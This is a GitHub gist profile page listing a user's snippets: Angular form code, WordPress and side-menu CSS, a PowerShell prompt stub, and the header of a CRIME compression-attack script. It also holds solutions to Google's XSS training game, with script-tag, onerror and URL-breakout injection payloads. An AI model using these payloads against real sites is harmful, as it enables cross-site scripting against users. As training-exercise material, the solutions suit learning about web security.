Skip to content

Instantly share code, notes, and snippets.

View nirlanka's full-sized avatar

Nir Lanka nirlanka

  • SGX
  • Singapore
View GitHub Profile
import { FormGroup, FormBuilder, Validators, FormControl } from '@angular/forms';
// Component code:
addFriendForm: FormGroup;
private _user = {
name: 'Amarabandu Rupasingha',
email: '[email protected]',
};
<form [formGroup]="addFriendForm" (ngSubmit)="send()">
<div>
<label>Name</label>
<input type="text" formControlName="name">
</div>
<div>
<label>Email</label>
<input type="text" formControlName="email">
</div>
<form [formGroup]="addFriendForm" (ngSubmit)="onSubmit()">
<input type="text" formControlName="name">
<input type="text" formControlName="email">
<button type="submit"
[disabled]="!f.valid">Submit!</button>
</form>
// Component
public addFriendForm: FormGroup;
constructor(formBuilder: FormBuilder) {
<form #f="ngForm" (ngSubmit)="onSubmit()">
<input type="text" [(ngModel)]="user.name" required>
<input type="text" [(ngModel)]="user.email" required>
<button type="submit"
[disabled]="!f.valid">Submit!</button>
</form>
@nirlanka
nirlanka / custom.css
Last active November 12, 2018 15:58
IEEE Wordpress template modifications
/*
----------------------
NAVBAR
*/
/* hide the comsoc logo */
.comsoc-logo {display: none;}
#logos {
/*background-image: url(http://sites.ieee.org/r10-htc-2018/files/2018/02/logo1.png);
@nirlanka
nirlanka / solutions.md
Last active November 28, 2017 15:58
Solutions to XSS Games by Google (xss-games.appspot.com)

Level 1: Hello, world of XSS

query=<script>alert(9)</script>

Level 2: Persistence is key

post-content=<img src='foobar' onerror='alert(9)'>

Level 3: That sinking feeling...

URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert(9)'&gt;

@nirlanka
nirlanka / sidemenu.css
Created September 13, 2017 09:35
Side-menu bar with sub-menu on hover (for a side-menu with only a few items)
#xx-submenu {
display: none;
}
#xx-submenu-trigger:hover + #xx-submenu,
#xx-submenu:hover {
display: block;
position: fixed;
left: 50px;
/* NOTE: don't set a top value */
@nirlanka
nirlanka / five.ps
Last active June 2, 2017 12:37
Cooler PowerShell Prompt (code for blog article)
Clear-Host
@nirlanka
nirlanka / crime.py
Last active December 20, 2015 07:59 — forked from koto/crime.py
It's not a crime to build a CRIME
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/
import string
import zlib
import sys
import random
charset = string.letters + string.digits + "%/+="